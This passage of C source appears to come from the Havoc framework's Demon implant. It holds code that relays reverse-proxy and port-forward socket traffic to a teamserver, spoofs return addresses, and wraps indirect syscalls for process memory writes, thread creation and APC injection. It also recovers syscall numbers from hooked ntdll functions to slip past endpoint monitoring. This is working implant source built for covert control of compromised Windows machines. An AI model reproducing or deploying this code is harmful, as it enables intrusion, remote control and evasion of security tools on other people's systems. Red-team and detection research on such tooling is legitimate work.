continue; } Failed = FALSE; ErrorCode = 0; /* reads data from connected clients/socks proxies */ if ( Socket->Type == SOCKET_TYPE_CLIENT || Socket->Type == SOCKET_TYPE_REVERSE_PROXY ) { FullData.Length = 0; FullData.Buffer = NULL; do { PartialData.Length = 0; PartialData.Buffer = NULL; /* * FIONREAD returns the amount of data that can be read in a single call to the recv function * this might not be the same as the total amount of data queued on the socket. * because of this, we read for new data in a loop */ if ( Instance->Win32.ioctlsocket( Socket->Socket, FIONREAD, &PartialData.Length ) == SOCKET_ERROR ) { PRINTF( "Failed to get the read size from %x : %d\n", Socket->ID, Socket->Type ) /* Tell the Socket remover that it can remove this one. */ Socket->ShouldRemove = TRUE; Failed = TRUE; ErrorCode = Instance->Win32.WSAGetLastError(); } if ( PartialData.Length > 0 ) { PartialData.Buffer = MmHeapAlloc( PartialData.Length ); if ( ! RecvAll( Socket->Socket, PartialData.Buffer, PartialData.Length, &PartialData.Length ) ) { Failed = TRUE; ErrorCode = Instance->Win32.WSAGetLastError(); } if ( PartialData.Length > 0 ) { if ( ! FullData.Buffer ) { FullData.Buffer = PartialData.Buffer; FullData.Length = PartialData.Length; PartialData.Buffer = NULL; } else { // allocate a new buffer to store the old and new data NewBuffer = MmHeapAlloc( FullData.Length + PartialData.Length ); // copy the old data into the new buffer MemCopy( NewBuffer, FullData.Buffer, FullData.Length ); // free the old 'FullData' buffer MemSet( FullData.Buffer, 0, FullData.Length ); MmHeapFree( FullData.Buffer ); // set the new buffer into 'FullData' FullData.Buffer = NewBuffer; NewBuffer = NULL; // copy the new data MemCopy( C_PTR( U_PTR( FullData.Buffer ) + FullData.Length ), PartialData.Buffer, PartialData.Length ); FullData.Length += PartialData.Length; // free the new data MemSet( PartialData.Buffer, 0, PartialData.Length ); MmHeapFree( PartialData.Buffer ); PartialData.Buffer = NULL; } } } } while ( PartialData.Length > 0 ); if ( FullData.Length > 0 ) { PRINTF( "Read %ld bytes from socket %x\n", FullData.Length, Socket->ID ) /* Create socket request package */ Package = PackageCreate( DEMON_COMMAND_SOCKET ); /* tell the teamserver to write to the socket of the forwarded host */ PackageAddInt32( Package, SOCKET_COMMAND_READ ); PackageAddInt32( Package, Socket->ID ); PackageAddInt32( Package, Socket->Type ); PackageAddInt32( Package, TRUE ); /* add the data we read from the client socket */ PackageAddBytes( Package, FullData.Buffer, FullData.Length ); /* now let's send it */ PackageTransmit( Package ); } if ( Failed ) { /* Create socket request package */ Package = PackageCreate( DEMON_COMMAND_SOCKET ); /* notify the teamserver of the error */ PackageAddInt32( Package, SOCKET_COMMAND_READ ); PackageAddInt32( Package, Socket->ID ); PackageAddInt32( Package, Socket->Type ); PackageAddInt32( Package, FALSE ); PackageAddInt32( Package, ErrorCode ); /* now let's send it */ PackageTransmit( Package ); } if ( FullData.Buffer ) { /* free and clear out our buffer */ MemSet( FullData.Buffer, 0, FullData.Length ); MmHeapFree( FullData.Buffer ); FullData.Length = 0; FullData.Buffer = NULL; } } Socket = Socket->Next; } } VOID SocketFree( PSOCKET_DATA Socket ) { PPACKAGE Package = NULL; PRINTF( "Closing socket %x\n", Socket->ID ) /* do we want to remove a reverse port forward client ? */ if ( Socket->Type == SOCKET_TYPE_REVERSE_PORTFWD || Socket->Type == SOCKET_TYPE_CLIENT ) { /* create socket response package */ Package = PackageCreate( DEMON_COMMAND_SOCKET ); /* socket package header */ PackageAddInt32( Package, SOCKET_COMMAND_RPORTFWD_REMOVE ); PackageAddInt32( Package, Socket->ID ); PackageAddInt32( Package, Socket->Type ); /* Local Host & Port data */ PackageAddInt32( Package, Socket->IPv4 ); PackageAddInt32( Package, Socket->LclPort ); /* Forward Host & Port data */ PackageAddInt32( Package, Socket->FwdAddr ); PackageAddInt32( Package, Socket->FwdPort ); /* Send the socket open request */ PackageTransmit( Package ); Package = NULL; } /* do we want to remove a socks proxy client ? */ else if ( Socket->Type == SOCKET_TYPE_REVERSE_PROXY ) { /* create socket response package */ Package = PackageCreate( DEMON_COMMAND_SOCKET ); /* socket package header */ PackageAddInt32( Package, SOCKET_COMMAND_CLOSE ); PackageAddInt32( Package, Socket->ID ); PackageAddInt32( Package, SOCKET_TYPE_REVERSE_PROXY ); /* Send the socket open request */ PackageTransmit( Package ); Package = NULL; } if ( Socket->Socket ) { Instance->Win32.closesocket( Socket->Socket ); Socket->Socket = 0; } MemSet( Socket, 0, sizeof( SOCKET_DATA ) ); MmHeapFree( Socket ); Socket = NULL; } VOID SocketCleanDead() { PSOCKET_DATA Socket = NULL; PSOCKET_DATA SkLast = NULL; /* * TODO: re-work on this. * make that after the socket got used close it. * maybe add a timeout ? after the socket didn't got used after a certain period of time. */ Socket = Instance->Sockets; for ( ;; ) { if ( ! Socket ) break; if ( Socket->ShouldRemove ) { /* we are at the beginning. */ if ( ! SkLast ) { Instance->Sockets = Socket->Next; SocketFree( Socket ); Socket = Instance->Sockets; } else { SkLast->Next = Socket->Next; SocketFree( Socket ); Socket = SkLast->Next; } } else { SkLast = Socket; Socket = Socket->Next; } } } VOID SocketPush() { /* check for new clients */ SocketClients(); /* Read data from the clients and send it to our server/forwarded host */ SocketRead(); /* kill every dead/removed socket */ SocketCleanDead(); } /*! * Query the IPv4 from the specified domain * @param Domain * @return IPv4 address */ DWORD DnsQueryIPv4( LPSTR Domain ) { ADDRINFOA hints = { 0 }; PADDRINFOA res = NULL; DWORD IP = 0; INT Ret = 0; if ( ! InitWSA() ) return 0; hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; Ret = Instance->Win32.getaddrinfo( Domain, NULL, &hints, &res ); if ( Ret != 0 ) { PRINTF( "getaddrinfo failed with %d for %s\n", Ret, Domain ); return 0; } IP = ((struct sockaddr_in *)res->ai_addr)->sin_addr.S_un.S_addr; Instance->Win32.freeaddrinfo( res ); PRINTF( "Got IPv4 for %s: %d.%d.%d.%d\n", Domain, ( IP & 0x000000ff ) >> ( 0 * 8 ), ( IP & 0x0000ff00 ) >> ( 1 * 8 ), ( IP & 0x00ff0000 ) >> ( 2 * 8 ), ( IP & 0xff000000 ) >> ( 3 * 8 ) ) return IP; } /*! * Query the IPv6 from the specified domain * @param Domain * @return IPv6 address */ PBYTE DnsQueryIPv6( LPSTR Domain ) { ADDRINFOA hints = { 0 }; PADDRINFOA res = NULL; INT Ret = 0; PBYTE IPv6 = NULL; if ( ! InitWSA() ) return 0; hints.ai_family = AF_INET6; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; Ret = Instance->Win32.getaddrinfo( Domain, NULL, &hints, &res ); if ( Ret != 0 ) { PRINTF( "getaddrinfo failed with %d for %s\n", Ret, Domain ); return NULL; } // the caller is responsible for freeing this! IPv6 = Instance->Win32.LocalAlloc( LPTR, 16 ); MemCopy( IPv6, ((struct sockaddr_in6 *)res->ai_addr)->sin6_addr.u.Byte, 16 ); Instance->Win32.freeaddrinfo( res ); PRINTF( "Got IPv6 for %s: %02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x\n", Domain, IPv6[0], IPv6[1], IPv6[2], IPv6[3], IPv6[4], IPv6[5], IPv6[6], IPv6[7], IPv6[8], IPv6[9], IPv6[10], IPv6[11], IPv6[12], IPv6[13], IPv6[14], IPv6[15] ) return IPv6; } havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/Spoof.c000066400000000000000000000020061467014221700231140ustar00rootroot00000000000000#include #include #if _WIN64 PVOID SpoofRetAddr( _In_ PVOID Module, _In_ ULONG Size, _In_ HANDLE Function, _Inout_ PVOID a, _Inout_ PVOID b, _Inout_ PVOID c, _Inout_ PVOID d, _Inout_ PVOID e, _Inout_ PVOID f, _Inout_ PVOID g, _Inout_ PVOID h ) { PVOID Trampoline = { 0 }; BYTE Pattern[] = { 0xFF, 0x23 }; PRM Param = { NULL, NULL, NULL }; if ( Function != NULL ) { Trampoline = MmGadgetFind( C_PTR( U_PTR( Module ) + LDR_GADGET_HEADER_SIZE ), U_PTR( Size ), Pattern, sizeof( Pattern ) ); /* set params */ Param.Trampoline = Trampoline; Param.Function = Function; if ( Trampoline != NULL ) { return ( ( PVOID( * ) ( PVOID, PVOID, PVOID, PVOID, PPRM, PVOID, PVOID, PVOID, PVOID, PVOID ) ) ( ( PVOID ) Spoof ) ) ( a, b, c, d, &Param, NULL, e, f, g, h ); } } return NULL; } #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/SysNative.c000066400000000000000000000344501467014221700237630ustar00rootroot00000000000000#include #include #include NTSTATUS NTAPI SysNtOpenThread( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN OPT PCLIENT_ID ClientId ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtOpenThread, ThreadHandle, DesiredAccess, ObjectAttributes, ClientId ) return NtStatus; } NTSTATUS NTAPI SysNtOpenProcess( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN OPT PCLIENT_ID ClientId ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtOpenProcess, ProcessHandle, DesiredAccess, ObjectAttributes, ClientId ); return NtStatus; } NTSTATUS NTAPI SysNtTerminateProcess( IN OPTIONAL HANDLE ProcessHandle, IN NTSTATUS ExitStatus ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtTerminateProcess, ProcessHandle, ExitStatus ); return NtStatus; } NTSTATUS NTAPI SysNtOpenThreadToken( IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN OpenAsSelf, OUT PHANDLE TokenHandle ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtOpenThreadToken, ThreadHandle, DesiredAccess, OpenAsSelf, TokenHandle ); return NtStatus; } NTSTATUS NTAPI SysNtOpenProcessToken( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, OUT PHANDLE TokenHandle ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtOpenProcessToken, ProcessHandle, DesiredAccess, TokenHandle ); return NtStatus; } NTSTATUS NTAPI SysNtDuplicateToken( IN HANDLE ExistingTokenHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN BOOLEAN EffectiveOnly, IN TOKEN_TYPE TokenType, OUT PHANDLE NewTokenHandle ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtDuplicateToken, ExistingTokenHandle, DesiredAccess, ObjectAttributes, EffectiveOnly, TokenType, NewTokenHandle ); return NtStatus; } NTSTATUS NTAPI SysNtQueueApcThread( IN HANDLE ThreadHandle, IN PPS_APC_ROUTINE ApcRoutine, IN OPT PVOID ApcArgument1, IN OPT PVOID ApcArgument2, IN OPT PVOID ApcArgument3 ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtQueueApcThread, ThreadHandle, ApcRoutine, ApcArgument1, ApcArgument2, ApcArgument3 ); return NtStatus; } NTSTATUS NTAPI SysNtSuspendThread( IN HANDLE ThreadHandle, OUT OPT PULONG PreviousSuspendCount ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtSuspendThread, ThreadHandle, PreviousSuspendCount ); return NtStatus; } NTSTATUS NTAPI SysNtResumeThread( IN HANDLE ThreadHandle, OUT OPT PULONG PreviousSuspendCount ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtResumeThread, ThreadHandle, PreviousSuspendCount ); return NtStatus; } NTSTATUS NTAPI SysNtCreateEvent ( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, IN OPT POBJECT_ATTRIBUTES ObjectAttributes, IN EVENT_TYPE EventType, IN BOOLEAN InitialState ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtCreateEvent, EventHandle, DesiredAccess, ObjectAttributes, EventType, InitialState ); return NtStatus; } NTSTATUS NTAPI SysNtCreateThreadEx( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, IN PVOID lpBytesBuffer ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtCreateThreadEx, hThread, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, Flags, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, lpBytesBuffer ); return NtStatus; } NTSTATUS NTAPI SysNtDuplicateObject( IN HANDLE SourceProcessHandle, IN HANDLE SourceHandle, IN OPT HANDLE TargetProcessHandle, OUT PHANDLE TargetHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Options ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtDuplicateObject, SourceProcessHandle, SourceHandle, TargetProcessHandle, TargetHandle, DesiredAccess, HandleAttributes, Options ); return NtStatus; } NTSTATUS NTAPI SysNtGetContextThread ( IN HANDLE ThreadHandle, _Inout_ PCONTEXT ThreadContext ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtGetContextThread, ThreadHandle, ThreadContext ); return NtStatus; } NTSTATUS NTAPI SysNtSetContextThread( IN HANDLE ThreadHandle, IN PCONTEXT ThreadContext ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtSetContextThread, ThreadHandle, ThreadContext ); return NtStatus; } NTSTATUS NTAPI SysNtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT OPT PULONG ReturnLength ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtQueryInformationProcess, ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength ); return NtStatus; } NTSTATUS NTAPI SysNtQuerySystemInformation ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT OPT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT OPT PULONG ReturnLength ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtQuerySystemInformation, SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); return NtStatus; } NTSTATUS NTAPI SysNtWaitForSingleObject( IN HANDLE Handle, IN BOOLEAN Alertable, IN OPT PLARGE_INTEGER Timeout ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtWaitForSingleObject, Handle, Alertable, Timeout ); return NtStatus; } NTSTATUS NTAPI SysNtAllocateVirtualMemory( IN HANDLE ProcessHandle, _Inout_ PVOID* BaseAddress, IN ULONG_PTR ZeroBits, _Inout_ PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtAllocateVirtualMemory, ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect ); return NtStatus; } NTSTATUS NTAPI SysNtWriteVirtualMemory( IN HANDLE ProcessHandle, IN OPT PVOID BaseAddress, IN CONST VOID* Buffer, IN SIZE_T BufferSize, OUT OPT PSIZE_T NumberOfBytesWritten ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtWriteVirtualMemory, ProcessHandle, BaseAddress, Buffer, BufferSize, NumberOfBytesWritten ); return NtStatus; } NTSTATUS NTAPI SysNtFreeVirtualMemory( IN HANDLE ProcessHandle, _Inout_ PVOID* BaseAddress, _Inout_ PSIZE_T RegionSize, IN ULONG FreeType ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtFreeVirtualMemory, ProcessHandle, BaseAddress, RegionSize, FreeType ); return NtStatus; } NTSTATUS NTAPI SysNtUnmapViewOfSection( IN HANDLE ProcessHandle, IN PVOID BaseAddress ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtUnmapViewOfSection, ProcessHandle, BaseAddress ); return NtStatus; } NTSTATUS NTAPI SysNtProtectVirtualMemory( IN HANDLE ProcessHandle, _Inout_ PVOID* BaseAddress, _Inout_ PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtProtectVirtualMemory, ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect ); return NtStatus; } NTSTATUS NTAPI SysNtReadVirtualMemory ( IN HANDLE ProcessHandle, IN OPT PVOID BaseAddress, OUT PVOID Buffer, IN SIZE_T BufferSize, OUT OPT PSIZE_T NumberOfBytesRead ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtReadVirtualMemory, ProcessHandle, BaseAddress, Buffer, BufferSize, NumberOfBytesRead ); return NtStatus; } NTSTATUS NTAPI SysNtTerminateThread ( IN OPT HANDLE ThreadHandle, IN NTSTATUS ExitStatus ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtTerminateThread, ThreadHandle, ExitStatus ); return NtStatus; } NTSTATUS NTAPI SysNtAlertResumeThread( IN HANDLE ThreadHandle, OUT OPT PULONG PreviousSuspendCount ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtAlertResumeThread, ThreadHandle, PreviousSuspendCount ); return NtStatus; } NTSTATUS NTAPI SysNtSignalAndWaitForSingleObject( IN HANDLE SignalHandle, IN HANDLE WaitHandle, IN BOOLEAN Alertable, IN OPT PLARGE_INTEGER Timeout ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtSignalAndWaitForSingleObject, SignalHandle, WaitHandle, Alertable, Timeout ); return NtStatus; } NTSTATUS NTAPI SysNtQueryVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN MEMORY_INFORMATION_CLASS MemoryInformationClass, OUT PVOID MemoryInformation, IN SIZE_T MemoryInformationLength, OUT OPT PSIZE_T ReturnLength ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtQueryVirtualMemory, ProcessHandle, BaseAddress, MemoryInformationClass, MemoryInformation, MemoryInformationLength, ReturnLength ); return NtStatus; } NTSTATUS NTAPI SysNtQueryInformationToken ( IN HANDLE TokenHandle, IN TOKEN_INFORMATION_CLASS TokenInformationClass, OUT PVOID TokenInformation, IN ULONG TokenInformationLength, OUT PULONG ReturnLength ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtQueryInformationToken, TokenHandle, TokenInformationClass, TokenInformation, TokenInformationLength, ReturnLength ); return NtStatus; } NTSTATUS NTAPI SysNtQueryInformationThread( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, OUT PVOID ThreadInformation, IN ULONG ThreadInformationLength, OUT OPT PULONG ReturnLength ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtQueryInformationThread, ThreadHandle, ThreadInformationClass, ThreadInformation, ThreadInformationLength, ReturnLength ); return NtStatus; } NTSTATUS NTAPI SysNtQueryObject( IN HANDLE Handle, IN OBJECT_INFORMATION_CLASS ObjectInformationClass, OUT PVOID ObjectInformation, IN ULONG ObjectInformationLength, OUT PULONG ReturnLength ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtQueryObject, Handle, ObjectInformationClass, ObjectInformation, ObjectInformationLength, ReturnLength ); return NtStatus; } NTSTATUS NTAPI SysNtClose ( IN HANDLE Handle ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtClose, Handle ); return NtStatus; } NTSTATUS NTAPI SysNtSetInformationThread ( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, IN PVOID ThreadInformation, IN ULONG ThreadInformationLength ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtSetInformationThread, ThreadHandle, ThreadInformationClass, ThreadInformation, ThreadInformationLength ); return NtStatus; } NTSTATUS NTAPI SysNtSetInformationVirtualMemory( IN HANDLE ProcessHandle, IN VIRTUAL_MEMORY_INFORMATION_CLASS VmInformationClass, IN ULONG_PTR NumberOfEntries, IN PMEMORY_RANGE_ENTRY VirtualAddresses, IN PVOID VmInformation, IN ULONG VmInformationLength ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtSetInformationVirtualMemory, ProcessHandle, VmInformationClass, NumberOfEntries, VirtualAddresses, VmInformation, VmInformationLength ); return NtStatus; } NTSTATUS NTAPI SysNtGetNextThread( IN HANDLE ProcessHandle, IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Flags, OUT PHANDLE NewThreadHandle ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtGetNextThread, ProcessHandle, ThreadHandle, DesiredAccess, HandleAttributes, Flags, NewThreadHandle ); return NtStatus; }havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/Syscalls.c000066400000000000000000000154261467014221700236350ustar00rootroot00000000000000#include #include #include #include /*! * Initialize syscall addr + ssn * @param Ntdll * @return */ BOOL SysInitialize( IN PVOID Ntdll ) { PVOID SysNativeFunc = NULL; PVOID SysIndirectAddr = NULL; if ( ! Ntdll ) { return FALSE; } /* Resolve Syscall instruction from dummy nt function */ if ( ( SysNativeFunc = LdrFunctionAddr( Ntdll, H_FUNC_NTADDBOOTENTRY ) ) ) { /* resolve address */ SysExtract( SysNativeFunc, TRUE, NULL, &SysIndirectAddr ); /* check if we managed to resolve it */ if ( SysIndirectAddr ) { Instance->Syscall.SysAddress = SysIndirectAddr; } else { PUTS_DONT_SEND( "Failed to resolve SysIndirectAddr" ); } } #if _M_IX86 if ( IsWoW64() ) { Instance->Syscall.SysAddress = __readfsdword(0xC0); } #endif /* Resolve Ssn */ SYS_EXTRACT( NtOpenThread ) SYS_EXTRACT( NtOpenThreadToken ) SYS_EXTRACT( NtOpenProcess ) SYS_EXTRACT( NtTerminateProcess ) SYS_EXTRACT( NtOpenProcessToken ) SYS_EXTRACT( NtDuplicateToken ) SYS_EXTRACT( NtQueueApcThread ) SYS_EXTRACT( NtSuspendThread ) SYS_EXTRACT( NtResumeThread ) SYS_EXTRACT( NtCreateEvent ) SYS_EXTRACT( NtCreateThreadEx ) SYS_EXTRACT( NtDuplicateObject ) SYS_EXTRACT( NtGetContextThread ) SYS_EXTRACT( NtSetContextThread ) SYS_EXTRACT( NtQueryInformationProcess ) SYS_EXTRACT( NtQuerySystemInformation ) SYS_EXTRACT( NtWaitForSingleObject ) SYS_EXTRACT( NtAllocateVirtualMemory ) SYS_EXTRACT( NtWriteVirtualMemory ) SYS_EXTRACT( NtReadVirtualMemory ) SYS_EXTRACT( NtFreeVirtualMemory ) SYS_EXTRACT( NtUnmapViewOfSection ) SYS_EXTRACT( NtProtectVirtualMemory ) SYS_EXTRACT( NtTerminateThread ) SYS_EXTRACT( NtAlertResumeThread ) SYS_EXTRACT( NtSignalAndWaitForSingleObject ) SYS_EXTRACT( NtQueryVirtualMemory ) SYS_EXTRACT( NtQueryInformationToken ) SYS_EXTRACT( NtQueryInformationThread ) SYS_EXTRACT( NtQueryObject ) SYS_EXTRACT( NtClose ) SYS_EXTRACT( NtSetEvent ) SYS_EXTRACT( NtSetInformationThread ) SYS_EXTRACT( NtSetInformationVirtualMemory ) SYS_EXTRACT( NtGetNextThread ) } /*! * extract syscall service number (SSN) and or * syscall instruction address * @param Function Native function address to extract Ssn/SysAddr from * @param ResolveHooked if the function should call FindSsnOfHookedSyscall upon failure * @param Ssn extracted ssn * @param Addr extracted sys addr * @return if extracting the syscall was successful */ BOOL SysExtract( IN PVOID Function, IN BOOL ResolveHooked, OUT PWORD Ssn, OUT PVOID* SysAddr ) { ULONG Offset = 0; BYTE SsnLow = 0; BYTE SsnHigh = 0; BOOL Success = FALSE; /* check args */ if ( ! Function ) { PUTS( "Function address is not defined" ) return FALSE; } if ( ! Ssn && ! SysAddr ) { PRINTF( "No Ssn and SysAddr pointers set for function at 0x%p\n", Function ) return FALSE; } do { /* check if current instruction is a 'ret' (end of function) */ if ( DREF_U8( Function + Offset ) == SYS_ASM_RET ) { break; } #if _WIN64 /* check current instructions for: * mov r10, rcx * mov rcx, [ssn] */ if ( DREF_U8( Function + Offset + 0x0 ) == 0x4C && DREF_U8( Function + Offset + 0x1 ) == 0x8B && DREF_U8( Function + Offset + 0x2 ) == 0xD1 && DREF_U8( Function + Offset + 0x3 ) == 0xB8 ) #else /* check current instructions for: * mov eax, [ssn] */ if ( DREF_U8( Function + Offset + 0x0 ) == 0xB8 ) #endif { /* if the Ssn param has been specified try to get the Ssn of the function */ if ( Ssn ) { SsnLow = DREF_U8( Function + Offset + SSN_OFFSET_1 ); SsnHigh = DREF_U8( Function + Offset + SSN_OFFSET_2 ); *Ssn = ( SsnHigh << 0x08 ) | SsnLow; Success = TRUE; } /* if SysAddr has been specified then try to get the native function syscall instruction */ if ( SysAddr ) { Success = FALSE; #if _M_IX86 if ( IsWoW64() ) { *SysAddr = __readfsdword(0xC0); Success = TRUE; break; } #endif for ( int i = 0; i < SYS_RANGE; i++ ) { /* check if the current ( function + offset + i ) is 'syscall' instruction */ if ( DREF_U16( Function + Offset + i ) == SYSCALL_ASM ) { *SysAddr = C_PTR( Function + Offset + i ); Success = TRUE; break; } } } /* we should be finished */ break; } Offset++; } while ( TRUE ); if ( ! Success && Ssn && ResolveHooked ) { Success = FindSsnOfHookedSyscall( Function, Ssn ); } if ( ! Success ) { if ( Ssn ) { PRINTF( "Could not resolve the Ssn of function at 0x%p\n", Function ) } if ( SysAddr ) { PRINTF( "Could not resolve the SysAddr of function at 0x%p\n", Function ) } } return Success; } /* * If a function is hooked, we can't obtain the Ssn directly. * Instead, we look for the Ssn of a neighbouring syscalls and add/subtract * to their Ssn according to their distance. * WARNING: This only works if Ssn are incremental! */ BOOL FindSsnOfHookedSyscall( IN PVOID Function, OUT PWORD Ssn ) { UINT32 SyscallSize = 0; PVOID NeighbourSyscall = NULL; WORD NeighbourSsn = NULL; PRINTF( "The syscall at address 0x%p seems to be hooked, trying to resolve its Ssn via neighbouring syscalls...\n", Function ) if ( ! ( SyscallSize = GetSyscallSize() ) ) { PUTS( "Failed to obtain the size of the syscalls stub" ) return FALSE; } for ( UINT32 i = 1; i < 500; ++i ) { // try with a syscall above ours NeighbourSyscall = C_PTR( U_PTR( Function ) + ( SyscallSize * i ) ); if( SysExtract( NeighbourSyscall, FALSE, &NeighbourSsn, NULL ) ) { *Ssn = NeighbourSsn - i; return TRUE; } // try with a syscall below ours NeighbourSyscall = C_PTR( U_PTR( Function ) - ( SyscallSize * i ) ); if( SysExtract( NeighbourSyscall, FALSE, &NeighbourSsn, NULL ) ) { *Ssn = NeighbourSsn + i; return TRUE; } } return FALSE; } havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/Thread.c000066400000000000000000000266141467014221700232500ustar00rootroot00000000000000#include #include #include #include #include #include #include /*! * queries the NT_TIB from the specified leaked thread RSP address * * NOTE: * this function is entirely taken from Austins Hudson's implementation. * reference: https://github.com/realoriginal/titanldr-ng/blob/master/Obf.c#L215 * * @param Adr leaked rsp address * @param Tib random tib * @return */ BOOL ThreadQueryTib( IN PVOID Adr, OUT PNT_TIB Tib ) { THREAD_TEB_INFORMATION ThdTebInfo = { 0 }; MEMORY_BASIC_INFORMATION Memory1 = { 0 }; MEMORY_BASIC_INFORMATION Memory2 = { 0 }; CLIENT_ID Client = { 0 }; CONTEXT ThdCtx = { 0 }; HANDLE ThdHndl = NULL; HANDLE ThdNext = NULL; BOOL Success = FALSE; DWORD ThreadId = 0; /* our current thread id */ ThreadId = U_PTR( Instance->Teb->ClientId.UniqueThread ); ThdCtx.ContextFlags = CONTEXT_FULL; /* iterate over current process threads */ while ( NT_SUCCESS( SysNtGetNextThread( NtCurrentProcess(), 